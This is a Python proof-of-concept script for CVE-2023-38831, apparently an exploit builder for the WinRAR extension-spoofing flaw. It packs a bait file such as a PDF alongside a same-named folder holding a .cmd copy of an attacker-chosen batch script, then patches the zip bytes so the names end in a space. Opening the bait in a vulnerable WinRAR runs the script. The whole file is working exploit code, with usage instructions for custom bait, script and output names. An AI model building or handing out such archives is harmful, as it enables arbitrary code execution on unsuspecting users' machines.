CVE-2023-38831.py

import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "test.rar"

BAIT_NAME = "test.pdf"
SCRIPT_NAME = "script.bat"

if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
        python .\cve-2023-38831.py poc
        python .\cve-2023-38831.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
    sys.exit()

BAIT_EXT = b"." + BAIT_NAME.split(".")[-1].encode("utf-8")

print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

os.remove(TEMPLATE_NAME + ".zip")

with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)

print("ok..")